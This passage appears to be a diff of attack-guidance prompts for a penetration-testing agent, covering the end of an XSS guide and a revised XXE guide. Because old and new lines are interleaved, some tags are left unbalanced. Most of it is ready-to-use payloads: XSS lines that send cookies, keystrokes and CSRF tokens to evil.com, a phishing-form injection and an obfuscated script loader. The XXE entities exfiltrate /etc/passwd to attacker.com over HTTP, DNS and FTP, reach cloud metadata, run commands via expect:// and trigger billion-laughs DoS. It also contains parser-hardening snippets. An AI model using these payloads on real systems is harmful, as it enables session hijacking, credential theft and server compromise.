- Constructor: [].constructor.constructor('alert(1)')()
- JSFuck: [][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]...
</keyword_bypass>
</filter_bypasses>
<multi_channel>
- Repeat tests across REST, GraphQL, WebSocket, SSE, Service Workers, and background sync; protections diverge per channel
</multi_channel>
</advanced_detection>
<advanced_techniques>
<dom_xss>
- Sinks: innerHTML, document.write, eval, setTimeout
- Sources: location.hash, location.search, document.referrer
- Example: element.innerHTML = location.hash
- Exploit: #<img src=x onerror=alert(1)>
- Sources: location.* (hash/search), document.referrer, postMessage, storage, service worker messages
- Sinks: innerHTML/outerHTML/insertAdjacentHTML, document.write, setAttribute, setTimeout/setInterval with strings, eval/Function, new Worker with blob URLs
- Example vulnerable pattern:
{% raw %}
const q = new URLSearchParams(location.search).get('q');
results.innerHTML = `<li>${q}</li>`;
{% endraw %}
Exploit: {% raw %}?q=<img src=x onerror=fetch('//x.tld/'+document.domain)>{% endraw %}
</dom_xss>
<mutation_xss>
<noscript><p title="</noscript><img src=x onerror=alert(1)>">
<form><button formaction=javascript:alert(1)>
- Leverage parser repairs to morph safe-looking markup into executable code (e.g., noscript, malformed tags)
- Payloads:
{% raw %}<noscript><p title="</noscript><img src=x onerror=alert(1)>
<form><button formaction=javascript:alert(1)>{% endraw %}
</mutation_xss>
<polyglot_xss>
jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e
</polyglot_xss>
<template_injection>
- Server or client templates evaluating expressions (AngularJS legacy, Handlebars helpers, lodash templates)
- Example (AngularJS legacy): {% raw %}{{constructor.constructor('fetch(`//x.tld?c=`+document.cookie)')()}}{% endraw %}
</template_injection>
<csp_bypasses>
- JSONP endpoints: <script src="//site.com/jsonp?callback=alert">
- AngularJS: {% raw %}{{constructor.constructor('alert(1)')()}}{% endraw %}
- Script gadgets in allowed libraries
- Base tag injection: <base href="//evil.com/">
- Object/embed: <object data="data:text/html,<script>alert(1)</script>">
</csp_bypasses>
<csp_bypass>
- Weak policies: missing nonces/hashes, wildcards, data: blob: allowed, inline events allowed
- Script gadgets: JSONP endpoints, libraries exposing function constructors, import maps or modulepreload lax policies
- Base tag injection to retarget relative script URLs; dynamic module import with allowed origins
- Trusted Types gaps: missing policy on custom sinks; third-party introducing createPolicy
</csp_bypass>
<trusted_types>
- If Trusted Types enforced, look for custom policies returning unsanitized strings; abuse policy whitelists
- Identify sinks not covered by Trusted Types (e.g., CSS, URL handlers) and pivot via gadgets
</trusted_types>
<polyglot_minimal>
- Keep a compact set tuned per context:
HTML node: {% raw %}<svg onload=alert(1)>{% endraw %}
Attr quoted: {% raw %}" autofocus onfocus=alert(1) x="{% endraw %}
Attr unquoted: {% raw %}onmouseover=alert(1){% endraw %}
JS string: {% raw %}"-alert(1)-"{% endraw %}
URL: {% raw %}javascript:alert(1){% endraw %}
</polyglot_minimal>
</advanced_techniques>
<exploitation_payloads>
<cookie_theft>
<script>fetch('//evil.com/steal?c='+document.cookie)</script>
<img src=x onerror="this.src='//evil.com/steal?c='+document.cookie">
new Image().src='//evil.com/steal?c='+document.cookie
</cookie_theft>
<frameworks>
<react>
- Primary sink: dangerouslySetInnerHTML; secondary: setting event handlers or URLs from untrusted input
- Bypass patterns: unsanitized HTML through libraries; custom renderers using innerHTML under the hood
- Defense: avoid dangerouslySetInnerHTML; sanitize with strict DOMPurify profile; treat href/src as data, not HTML
</react>
<keylogger>
document.onkeypress=e=>fetch('//evil.com/key?k='+e.key)
</keylogger>
<vue>
- Sink: v-html and dynamic attribute bindings; server-side rendering hydration mismatches
- Defense: avoid v-html with untrusted input; sanitize strictly; ensure hydration does not re-interpret content
</vue>
<phishing>
document.body.innerHTML='<form action=//evil.com/phish><input name=pass><input type=submit></form>'
</phishing>
<angular>
- Legacy expression injection (pre-1.6); $sce trust APIs misused to whitelist attacker content
- Defense: never trustAsHtml for untrusted input; use bypassSecurityTrust only for constants
</angular>
<csrf_token_theft>
fetch('/api/user').then(r=>r.text()).then(d=>fetch('//evil.com/token?t='+d.match(/csrf_token":"([^"]+)/)[1]))
</csrf_token_theft>
<svelte>
- Sink: {@html} and dynamic attributes
- Defense: never pass untrusted HTML; sanitize or use text nodes
</svelte>
<webcam_mic_access>
navigator.mediaDevices.getUserMedia({video:true}).then(s=>...)
</webcam_mic_access>
</exploitation_payloads>
<markdown_richtext>
- Markdown renderers often allow HTML passthrough; plugins may re-enable raw HTML
- Sanitize post-render; forbid inline HTML or restrict to safe whitelist; remove dangerous URI schemes
</markdown_richtext>
<special_contexts>
<pdf_generation>
- JavaScript in links: <a href="javascript:app.alert(1)">
- Form actions: <form action="javascript:...">
</pdf_generation>
<emails>
- Most clients strip scripts but allow CSS/remote content; use CSS/URL tricks only if relevant; avoid assuming JS execution
</emails>
<email_clients>
- Limited tags: <a>, <img>, <style>
- CSS injection: <style>@import'//evil.com/css'</style>
</email_clients>
<pdf_and_docs>
- PDF engines may execute JS in annotations or links; test javascript: in links and submit actions
</pdf_and_docs>
<markdown>
[Click](javascript:alert(1))
![a](x"onerror="alert(1))
</markdown>
<react_vue>
- dangerouslySetInnerHTML={% raw %}{{__html: payload}}{% endraw %}
- v-html directive bypass
</react_vue>
<file_upload_xss>
- SVG: <svg xmlns="http://www.w3.org/2000/svg" onload="alert(1)"/>
- HTML files
- XML with XSLT
- MIME type confusion
</file_upload_xss>
<file_uploads>
- SVG/HTML uploads served with text/html or image/svg+xml can execute inline; verify content-type and Content-Disposition: attachment
- Mixed MIME and sniffing bypasses; ensure X-Content-Type-Options: nosniff
</file_uploads>
</special_contexts>
<blind_xss>
<detection>
- Out-of-band callbacks
- Service workers for persistence
- Polyglot payloads for multiple contexts
</detection>
<post_exploitation>
- Session/token exfiltration: prefer fetch/XHR over image beacons for reliability; bind unique IDs to correlate victims
- Real-time control: WebSocket C2 that evaluates only a strict command set; avoid eval when demonstrating
- Persistence: service worker registration where allowed; localStorage/script gadget re-injection in single-page apps
- Impact: role hijack, CSRF chaining, internal port scan via fetch, content scraping, credential phishing overlays
</post_exploitation>
<payloads>
'"><script src=//evil.com/blindxss.js></script>
'"><img src=x id=dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7YS5zcmM9Ii8vZXZpbC5jb20veHNzLmpzIjtkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKGEpOw onerror=eval(atob(this.id))>
</payloads>
</blind_xss>
<validation>
1. Provide minimal payload and context (sink type) with before/after DOM or network evidence.
2. Demonstrate cross-browser execution where relevant or explain parser-specific behavior.
3. Show bypass of stated defenses (sanitizer settings, CSP/Trusted Types) with proof.
4. Quantify impact beyond alert: data accessed, action performed, persistence achieved.
</validation>
<waf_bypasses>
<encoding>
- HTML: &#x3C;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3E;
- URL: %3Cscript%3E
- Unicode: \u003cscript\u003e
- Mixed: <scr\x69pt>
</encoding>
<obfuscation>
<a href="j&#x61;vascript:alert(1)">
<img src=x onerror="\u0061\u006C\u0065\u0072\u0074(1)">
<svg/onload=eval(atob('YWxlcnQoMSk='))>
</obfuscation>
<browser_bugs>
- Chrome: <svg><script>alert&lpar;1&rpar;
- Firefox specific payloads
- IE/Edge compatibility
</browser_bugs>
</waf_bypasses>
<impact_demonstration>
1. Account takeover via cookie/token theft
2. Defacement proof
3. Keylogging demonstration
4. Internal network scanning
5. Cryptocurrency miner injection
6. Phishing form injection
7. Browser exploit delivery
8. Session hijacking
9. CSRF attack chaining
10. Admin panel access
</impact_demonstration>
<false_positives>
- Reflected content safely encoded in the exact context
- CSP with nonces/hashes and no inline/event handlers; Trusted Types enforced on sinks; DOMPurify in strict mode with URI allowlists
- Scriptable contexts disabled (no HTML pass-through, safe URL schemes enforced)
</false_positives>
<pro_tips>
1. Test in all browsers - payloads vary
2. Check mobile versions - different parsers
3. Use automation for blind XSS
4. Chain with other vulnerabilities
5. Focus on impact, not just alert(1)
6. Test all input vectors systematically
7. Understand the context deeply
8. Keep payload library updated
9. Monitor CSP headers
10. Think beyond script tags
1. Start with context classification, not payload brute force.
2. Use DOM instrumentation to log sink usage; it reveals unexpected flows.
3. Keep a small, curated payload set per context and iterate with encodings.
4. Validate defenses by configuration inspection and negative tests.
5. Prefer impact-driven PoCs (exfiltration, CSRF chain) over alert boxes.
6. Treat SVG/MathML as first-class active content; test separately.
7. Re-run tests under different transports and render paths (SSR vs CSR vs hydration).
8. Test CSP/Trusted Types as features: attempt to violate policy and record the violation reports.
</pro_tips>
<remember>Modern XSS is about bypassing filters, CSP, and WAFs. Focus on real impact - steal sessions, phish credentials, or deliver exploits. Simple alert(1) is just the beginning.</remember>
<remember>Context + sink decide execution. Encode for the exact context, verify at runtime with CSP/Trusted Types, and validate every alternative render path. Small payloads with strong evidence beat payload catalogs.</remember>
</xss_vulnerability_guide>

View File

@@ -1,276 +1,224 @@
<xxe_vulnerability_guide>
<title>XML EXTERNAL ENTITY (XXE) - ADVANCED EXPLOITATION</title>
<title>XML EXTERNAL ENTITY (XXE)</title>
<critical>XXE leads to file disclosure, SSRF, RCE, and DoS. Often found in APIs, file uploads, and document parsers.</critical>
<critical>XXE is a parser-level failure that enables local file reads, SSRF to internal control planes, denial-of-service via entity expansion, and in some stacks, code execution through XInclude/XSLT or language-specific wrappers. Treat every XML input as untrusted until the parser is proven hardened.</critical>
<discovery_points>
- XML file uploads (docx, xlsx, svg, xml)
- SOAP endpoints
- REST APIs accepting XML
- SAML implementations
- RSS/Atom feeds
- XML configuration files
- WebDAV
- Office document processors
- SVG image uploads
- PDF generators with XML input
</discovery_points>
<scope>
- File disclosure: read server files and configuration
- SSRF: reach metadata services, internal admin panels, service ports
- DoS: entity expansion (billion laughs), external resource amplification
- Injection surfaces: REST/SOAP/SAML/XML-RPC, file uploads (SVG, Office), PDF generators, build/report pipelines, config importers
- Transclusion: XInclude and XSLT document() loading external resources
</scope>
<basic_payloads>
<file_disclosure>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<root>&xxe;</root>
<methodology>
1. Inventory all XML consumers: endpoints, upload parsers, background jobs, CLI tools, converters, and third-party SDKs.
2. Start with capability probes: does the parser accept DOCTYPE? resolve external entities? allow network access? support XInclude/XSLT?
3. Establish a quiet oracle (error shape, length/ETag diffs, OAST callbacks), then escalate to targeted file/SSRF payloads.
4. Validate per-channel parity: the same parser options must hold across REST, SOAP, SAML, file uploads, and background jobs.
</methodology>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///c:/windows/win.ini">]>
<root>&xxe;</root>
</file_disclosure>
<discovery_techniques>
<surface_map>
- File uploads: SVG/MathML, Office (docx/xlsx/ods/odt), XML-based archives, Android/iOS plist, project config imports
- Protocols: SOAP/XML-RPC/WebDAV/SAML (ACS endpoints), RSS/Atom feeds, server-side renderers and converters
- Hidden paths: "xml", "upload", "import", "transform", "xslt", "xsl", "xinclude" parameters; processing-instruction headers
</surface_map>
<ssrf_via_xxe>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/">]>
<root>&xxe;</root>
</ssrf_via_xxe>
<capability_probes>
- Minimal DOCTYPE: attempt a harmless internal entity to detect acceptance without causing side effects
- External fetch test: point to an OAST URL to confirm egress; prefer DNS first, then HTTP
- XInclude probe: add xi:include to see if transclusion is enabled
- XSLT probe: xml-stylesheet PI or transform endpoints that accept stylesheets
</capability_probes>
</discovery_techniques>
<blind_xxe_oob>
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://attacker.com/evil.dtd"> %xxe;]>
<detection_channels>
<direct>
- Inline disclosure of entity content in the HTTP response, transformed output, or error pages
</direct>
<error_based>
- Coerce parser errors that leak path fragments or file content via interpolated messages
</error_based>
<oast>
- Blind XXE via parameter entities and external DTDs; confirm with DNS/HTTP callbacks
- Encode data into request paths/parameters to exfiltrate small secrets (hostnames, tokens)
</oast>
<timing>
- Fetch slow or unroutable resources to produce measurable latency differences (connect vs read timeouts)
</timing>
</detection_channels>
<core_payloads>
<local_file>
<!DOCTYPE x [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<r>&xxe;</r>
<!DOCTYPE x [<!ENTITY xxe SYSTEM "file:///c:/windows/win.ini">]>
<r>&xxe;</r>
</local_file>
<ssrf>
<!DOCTYPE x [<!ENTITY xxe SYSTEM "http://127.0.0.1:2375/version">]>
<r>&xxe;</r>
<!DOCTYPE x [<!ENTITY xxe SYSTEM "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI">]>
<r>&xxe;</r>
</ssrf>
<oob_parameter_entity>
<!DOCTYPE x [<!ENTITY % dtd SYSTEM "http://attacker.tld/evil.dtd"> %dtd;]>
evil.dtd:
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; exfiltrate SYSTEM 'http://attacker.com/?x=%file;'>">
%eval;
%exfiltrate;
</blind_xxe_oob>
</basic_payloads>
<!ENTITY % f SYSTEM "file:///etc/hostname">
<!ENTITY % e "<!ENTITY &#x25; exfil SYSTEM 'http://%f;.attacker.tld/'>">
%e; %exfil;
</oob_parameter_entity>
</core_payloads>
<advanced_techniques>
<parameter_entities>
<!DOCTYPE foo [
<!ENTITY % data SYSTEM "file:///etc/passwd">
<!ENTITY % param "<!ENTITY &#x25; exfil SYSTEM 'http://evil.com/?d=%data;'>">
%param;
%exfil;
]>
- Use parameter entities in the DTD subset to define secondary entities that exfiltrate content; works even when general entities are sanitized in the XML tree
</parameter_entities>
<error_based_xxe>
<!DOCTYPE foo [
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;
]>
</error_based_xxe>
<xxe_in_attributes>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<root attr="&xxe;"/>
</xxe_in_attributes>
</advanced_techniques>
<filter_bypasses>
<encoding_tricks>
- UTF-16: <?xml version="1.0" encoding="UTF-16"?>
- UTF-7: <?xml version="1.0" encoding="UTF-7"?>
- Base64 in CDATA: <![CDATA[base64_payload]]>
</encoding_tricks>
<protocol_variations>
- file:// → file:
- file:// → netdoc://
- http:// → https://
- Gopher: gopher://
- PHP wrappers: php://filter/convert.base64-encode/resource=/etc/passwd
</protocol_variations>
<doctype_variations>
<!doctype foo [
<!DoCtYpE foo [
<!DOCTYPE foo PUBLIC "Any" "http://evil.com/evil.dtd">
<!DOCTYPE foo SYSTEM "http://evil.com/evil.dtd">
</doctype_variations>
</filter_bypasses>
<specific_contexts>
<json_xxe>
{% raw %}{"name": "test", "content": "<?xml version='1.0'?><!DOCTYPE foo [<!ENTITY xxe SYSTEM 'file:///etc/passwd'>]><x>&xxe;</x>"}{% endraw %}
</json_xxe>
<soap_xxe>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<foo>&xxe;</foo>
</soap:Body>
</soap:Envelope>
</soap_xxe>
<svg_xxe>
<svg xmlns="http://www.w3.org/2000/svg">
<!DOCTYPE svg [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<text>&xxe;</text>
</svg>
</svg_xxe>
<docx_xlsx_xxe>
1. Unzip document
2. Edit document.xml or similar
3. Add XXE payload
4. Rezip and upload
</docx_xlsx_xxe>
</specific_contexts>
<blind_xxe_techniques>
<dns_exfiltration>
<!DOCTYPE foo [
<!ENTITY % data SYSTEM "file:///etc/hostname">
<!ENTITY % param "<!ENTITY &#x25; exfil SYSTEM 'http://%data;.attacker.com/'>">
%param;
%exfil;
]>
</dns_exfiltration>
<ftp_exfiltration>
<!DOCTYPE foo [
<!ENTITY % data SYSTEM "file:///etc/passwd">
<!ENTITY % param "<!ENTITY &#x25; exfil SYSTEM 'ftp://attacker.com:2121/%data;'>">
%param;
%exfil;
]>
</ftp_exfiltration>
<php_wrappers>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
]>
<root>&xxe;</root>
</php_wrappers>
</blind_xxe_techniques>
<xxe_to_rce>
<expect_module>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "expect://id">]>
<root>&xxe;</root>
</expect_module>
<file_upload_lfi>
1. Upload malicious PHP via XXE
2. Include via LFI or direct access
</file_upload_lfi>
<java_specific>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "jar:file:///tmp/evil.jar!/evil.class">]>
</java_specific>
</xxe_to_rce>
<denial_of_service>
<billion_laughs>
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;">
]>
<lolz>&lol5;</lolz>
</billion_laughs>
<external_dtd_dos>
<!DOCTYPE foo SYSTEM "http://slow-server.com/huge.dtd">
</external_dtd_dos>
</denial_of_service>
<modern_bypasses>
<xinclude>
<root xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include parse="text" href="file:///etc/passwd"/>
</root>
- Effective where entity resolution is blocked but XInclude remains enabled in the pipeline
</xinclude>
<xslt>
<xslt_document>
- XSLT processors can fetch external resources via document():
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
<xsl:copy-of select="document('file:///etc/passwd')"/>
</xsl:template>
</xsl:stylesheet>
</xslt>
</modern_bypasses>
- Targets: transform endpoints, reporting engines (XSLT/Jasper/FOP), xml-stylesheet PI consumers
</xslt_document>
<parser_specific>
<protocol_wrappers>
- Java: jar:, netdoc:
- PHP: php://filter, expect:// (when module enabled)
- Gopher: craft raw requests to Redis/FCGI when client allows non-HTTP schemes
</protocol_wrappers>
</advanced_techniques>
<filter_bypasses>
<encoding_variants>
- UTF-16/UTF-7 declarations, mixed newlines, CDATA and comments to evade naive filters
</encoding_variants>
<doctype_variants>
- PUBLIC vs SYSTEM, mixed case <!DoCtYpE>, internal vs external subsets, multi-DOCTYPE edge handling
</doctype_variants>
<network_controls>
- If network blocked but filesystem readable, pivot to local file disclosure; if files blocked but network open, pivot to SSRF/OAST
</network_controls>
</filter_bypasses>
<special_contexts>
<soap>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<!DOCTYPE d [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<d>&xxe;</d>
</soap:Body>
</soap:Envelope>
</soap>
<saml>
- Assertions are XML-signed, but upstream XML parsers prior to signature verification may still process entities/XInclude; test ACS endpoints with minimal probes
</saml>
<svg_and_renderers>
- Inline SVG and server-side SVG→PNG/PDF renderers process XML; attempt local file reads via entities/XInclude
</svg_and_renderers>
<office_docs>
- OOXML (docx/xlsx/pptx) are ZIPs containing XML; insert payloads into document.xml, rels, or drawing XML and repackage
</office_docs>
</special_contexts>
<parser_hardening>
<java>
- Supports jar: protocol
- External DTDs by default
- Parameter entities work
```java
DocumentBuilderFactory f = DocumentBuilderFactory.newInstance();
f.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
f.setFeature("http://xml.org/sax/features/external-general-entities", false);
f.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
f.setFeature("http://javax.xml.XMLConstants/feature/secure-processing", true);
f.setAttribute("http://javax.xml.XMLConstants/property/accessExternalDTD", "");
f.setAttribute("http://javax.xml.XMLConstants/property/accessExternalSchema", "");
```
</java>
<dotnet>
- Supports file:// by default
- DTD processing varies by version
```csharp
var settings = new XmlReaderSettings {
DtdProcessing = DtdProcessing.Prohibit,
XmlResolver = null
};
```
</dotnet>
<php>
- libxml2 based
- expect:// protocol with expect module
- php:// wrappers
</php>
<python>
- Default parsers often vulnerable
- lxml safer than xml.etree
```python
from lxml import etree
parser = etree.XMLParser(resolve_entities=False, no_network=True)
etree.fromstring(xml_bytes, parser)
# Prefer defusedxml for stdlib parsers
```
</python>
</parser_specific>
<validation_testing>
<detection>
1. Basic entity test: &xxe;
2. External DTD: http://attacker.com/test.dtd
3. Parameter entity: %xxe;
4. Time-based: DTD with slow server
5. DNS lookup: http://test.attacker.com/
</detection>
<php>
```php
$dom = new DOMDocument();
// Do NOT use LIBXML_NOENT; forbid network
$dom->loadXML($xml, LIBXML_NONET | LIBXML_NOERROR | LIBXML_NOWARNING);
```
</php>
</parser_hardening>
<validation>
1. Provide a minimal payload proving parser capability (DOCTYPE/XInclude/XSLT).
2. Demonstrate controlled access (file path or internal URL) with reproducible evidence.
3. Confirm blind channels with OAST and correlate to the triggering request.
4. Show cross-channel consistency (e.g., same behavior in upload and SOAP paths).
5. Bound impact: exact files/data reached or internal targets proven.
</validation>
<false_positives>
- Entity declared but not processed
- DTD loaded but entities blocked
- Output encoding preventing exploitation
- Limited file access (chroot/sandbox)
- DOCTYPE accepted but entities not resolved and no transclusion reachable
- Filters or sandboxes that emit entity strings literally (no IO performed)
- Mocks/stubs that simulate success without network/file access
- XML processed only client-side (no server parse)
</false_positives>
</validation_testing>
<impact_demonstration>
1. Read sensitive files (/etc/passwd, web.config)
2. Cloud metadata access (AWS keys)
3. Internal network scanning (SSRF)
4. Data exfiltration proof
5. DoS demonstration
6. RCE if possible
</impact_demonstration>
<automation>
# XXE Scanner
def test_xxe(url, param):
payloads = [
'<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><foo>&xxe;</foo>',
'<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://attacker.com/"> %xxe;]><foo/>',
'<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><foo>&xxe;</foo>'
]
for payload in payloads:
response = requests.post(url, data={param: payload})
if 'root:' in response.text or check_callback():
return f"XXE found with: {payload}"
</automation>
<impact>
- Disclosure of credentials/keys/configs, code, and environment secrets
- Access to cloud metadata/token services and internal admin panels
- Denial of service via entity expansion or slow external resources
- Code execution via XSLT/expect:// in insecure stacks
</impact>
<pro_tips>
1. Try all protocols, not just file://
2. Use parameter entities for blind XXE
3. Chain with SSRF for cloud metadata
4. Test different encodings (UTF-16)
5. Don't forget JSON/SOAP contexts
6. XInclude when entities are blocked
7. Error messages reveal file paths
8. Monitor DNS for blind confirmation
9. Some parsers allow network access but not files
10. Modern frameworks disable XXE by default - check configs
1. Prefer OAST first; it is the quietest confirmation in production-like paths.
2. When content is sanitized, use error-based and length/ETag diffs.
3. Probe XInclude/XSLT; they often remain enabled after entity resolution is disabled.
4. Aim SSRF at internal well-known ports (kubelet, Docker, Redis, metadata) before public hosts.
5. In uploads, repackage OOXML/SVG rather than standalone XML; many apps parse these implicitly.
6. Keep payloads minimal; avoid noisy billion-laughs unless specifically testing DoS.
7. Test background processors separately; they often use different parser settings.
8. Validate parser options in code/config; do not rely on WAFs to block DOCTYPE.
9. Combine with path traversal and deserialization where XML touches downstream systems.
10. Document exact parser behavior per stack; defenses must match real libraries and flags.
</pro_tips>
<remember>XXE is about understanding parser behavior. Different parsers have different features and restrictions. Always test comprehensively and demonstrate maximum impact.</remember>
<remember>XXE is eliminated by hardening parsers: forbid DOCTYPE, disable external entity resolution, and disable network access for XML processors and transformers across every code path.</remember>
</xxe_vulnerability_guide>